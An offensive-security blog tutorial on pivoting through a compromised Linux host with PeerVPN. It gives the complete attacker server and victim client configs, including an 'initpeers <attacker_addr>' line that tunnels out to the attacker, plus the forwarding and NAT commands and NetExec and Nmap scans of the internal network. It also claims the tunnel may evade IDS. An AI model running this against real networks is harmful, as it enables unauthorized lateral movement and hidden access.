Oldschool Passenger: Network Pivoting with PeerVPN
PeerVPN is an older solution for building VPNs, but even it can be used to pivot through an external compromised host
PeerVPN is an older solution for building VPNs, but even it can be used to pivot through an external compromised host. In this article, I will show how PeerVPN can be used for pivoting
Caster - Oldschool Passenger
Genre: Offensive
Label: exploit.org
Release Date: 16 April 2024
Intro
There's another method of pivoting using the old PeerVPN program. The concept is quite simple: set up a VPN server, connect the compromised host to it, then configure routing and NAT. In doing so, PeerVPN uses UDP encapsulation along with the RX protocol for a more resilient connection. So all communication between the VPN server and the VPN client will be wrapped in a UDP layer.
This method came to my mind completely by accident and is actually not relevant as we have more modern solutions in the form of Nebula, ZeroTier and the rest. So this work is built only on the motives of creativity.
Perhaps this method is not yet detected by IDS systems and it can be used quite well
Since PeerVPN is legitimate software, we are again dealing with the concept of "Living off the Land"
Disclaimer
The article is of an introductory nature and is intended for security professionals conducting testing under contract. The author and editorial staff are not liable for any harm caused by the use of the information presented. The distribution of malware, disruption of systems, and violation of correspondence secrecy will be prosecuted
Scenario
The concept is simple enough, set up a VPN server on the attacker's host, configure addressing within the VPN network, then connect the compromised host to the VPN server and configure NAT routing to gain access to the downstream network segment (this scenario assumes that the victim is a compromised external server on Linux with two interfaces)
This pivoting vector can evolve either from the Internet or directly within the infrastructure because PeerVPN is independent of the Internet
In this scenario, it is the general concept that I am demonstrating. It may differ from your pentest project.
Configuring PeerVPN on the attacker side
PeerVPN is very old, the last version came out as far back as 2016, but it will work nonetheless.
First you need to download PeerVPN, there will be an executable file in the archive, so there will be no problems with the build
caster@kali:~$ curl -LO https://peervpn.net/files/peervpn-0-044-linux-x86.tar.gz
caster@kali:~$ tar xzvf peervpn*
caster@kali:~$ cd peervpn-0-044/
caster@kali:~/peervpn-0-044$ ls
license.txt peervpn peervpn.conf
caster@kali:~/peervpn-0-044$
Now we need to prepare peervpn.conf
so that it works in server mode. But before that we need to generate a Secure Secret Key
PeerVPN uses a shared key, which can contain up to 512 characters, to authenticate computers on the network. To ensure that network traffic is protected, it is critical to choose strong values. You can generate the required key using openssl
caster@kali:~/peervpn-0-044$ openssl rand -base64 382 | tr -d '\n' && echo
imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
The resulting key should be saved in one safe place. It will be used both on the server and on the client.
Configuration File
Now you need to configure the server side. In general, nothing complicated. Specify networkname
, psk
, port number, activate tunnel mode and interface name
And addressing within the VPN network
What the default server configuration looks like:
In my case, the settings would be as follows:
networkname Oldschool
psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
enabletunneling yes
interface peervpn0
ifconfig4 10.8.0.1/24
local 0.0.0.0
port 7000
enableipv4 yes
enableipv6 yes
Network name: Oldschool
PSK specified
Activating tunnel operation
Interface name: peervpn0
Address on interface - 10.8.0.0.1/24
(network addressing 10.8.0.0/24)
Listener port number: 7000
Enable IPv4 and IPv6
Now the server-side configuration is complete and the server can be started:
caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: failed.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
Compromised host
By examining the interfaces we realize that there is ens36
on which there is a network 172.16.200.0/24
, to which the attacker will gain access in my scenario. But I'm getting a little ahead of myself.
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:b7:41:da brd ff:ff:ff:ff:ff:ff
altname enp2s4
inet 172.16.200.130/24 brd 172.16.200.255 scope global dynamic ens36
valid_lft 1042sec preferred_lft 1042sec
Identical situation. Download PeerVPN, prepare peervpn.conf
, connect to the server, configure NAT. I can't give much commentary, let's go straight to the configuration.
Only the configuration for the client will look a little different:
networkname Oldschool
psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
initpeers <attacker_addr> 7000
enabletunneling yes
interface peervpn0
ifconfig4 10.8.0.2/24
enableipv4 yes
enableipv6 yes
Then running peervpn
on the compromised machine:
compromised@compromised:~# ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: ok.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: 3EB5DEA06669C943B1DDE89822A26588418E143B66152EFFBE9CE879596E5BE1
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
[0] resolving <attacker_addr>:7000...
done.
[12] 1 peers connected.
In this article, I hide the real address of my VPS, which acts as the attacking machine in this scenario
Meanwhile, on the attacker's side:
caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: failed.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
[716] 1 peers connected.
Routing/NAT
Attacker interface:
4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
inet 10.8.0.1/24 brd 10.8.0.255 scope global peervpn0
valid_lft forever preferred_lft forever
inet6 fe80::ec66:a6ff:fefe:dc13/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Compromised host interface:
4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
inet 10.8.0.2/24 brd 10.8.0.255 scope global peervpn0
valid_lft forever preferred_lft forever
inet6 fe80::b0b2:13ff:fee1:ddd7/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Ping Attempts:
caster@kali:~/peervpn-0-044$ ping 10.8.0.2
PING 10.8.0.2 (10.8.0.2) 56(84) bytes of data.
64 bytes from 10.8.0.2: icmp_seq=1 ttl=64 time=0.472 ms
64 bytes from 10.8.0.2: icmp_seq=2 ttl=64 time=1.03 ms
64 bytes from 10.8.0.2: icmp_seq=3 ttl=64 time=0.501 ms
64 bytes from 10.8.0.2: icmp_seq=4 ttl=64 time=0.680 ms
64 bytes from 10.8.0.2: icmp_seq=5 ttl=64 time=0.933 ms
64 bytes from 10.8.0.2: icmp_seq=6 ttl=64 time=0.610 ms
^C
--- 10.8.0.2 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5066ms
rtt min/avg/max/mdev = 0.472/0.703/1.025/0.208 ms
Previously, the attacker learned that behind the compromised host is a 172.16.200.0/24
network, to which it must be routed via 10.8.0.2
- the address of the compromised machine inside the PeerVPN network
caster@kali:~/peervpn-0-044$ sudo route add -net 172.16.200.0 netmask 255.255.255.0 gw 10.8.0.2
But it's not enough. On the compromised host, you must configure a NAT rule that masquerades traffic from the PeerVPN network to the 172.16.200.0/24
network. Also, the most important thing is to remember to enable routing on the host
compromised@compromised:~# sysctl -w net.ipv4.ip_forward=1
compromised@compromised:~# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o ens36 -j MASQUERADE
The attacker will now be able to communicate with the 172.16.200.0/24
network through the compromised host
Impact
NetExec:
(NetExec) caster@kali:~/NetExec$ NetExec smb 172.16.200.0/24
SMB 172.16.200.134 445 HALFFACE [*] Windows 10 / Server 2019 Build 19041 x64 (name:HALFFACE) (domain:HalfFace) (signing:False) (SMBv1:False)
SMB 172.16.200.131 445 TALKTOME [*] Windows 10 / Server 2019 Build 19041 x64 (name:TALKTOME) (domain:TalkToMe) (signing:False) (SMBv1:False)
SMB 172.16.200.132 445 EMBRACE [*] Windows 10 / Server 2019 Build 19041 x64 (name:EMBRACE) (domain:Embrace) (signing:False) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Nmap:
caster@kali:~$ sudo nmap -Pn -sS -n -p 22,445,23 172.16.200.0/24 --min-rate=5000 -oA init-enumeration
caster@kali:~$ grep open init-enumeration.gnmap
Host: 172.16.200.130 () Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.132 () Ports: 22/open/tcp//ssh///, 23/filtered/tcp//telnet///, 445/open/tcp//microsoft-ds///
Host: 172.16.200.137 () Ports: 22/open/tcp//ssh///, 23/open/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.138 () Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Samples
In my internal infrastructure, I've been experimenting on my virtual machines. Keep traffic samples, everything encapsulated in UDP with RX participation.
I was running NetExec and Nmap
Attacker (VPN Server): 192.168.1.183
Victim (VPN Client): 192.168.1.185
Outro
Using an old solution like PeerVPN, I demonstrated a method of tunnel pivoting that can be useful when external infrastructure is compromised.
Once again, I used something of a "Living off the Land" concept, for PeerVPN is legitimate software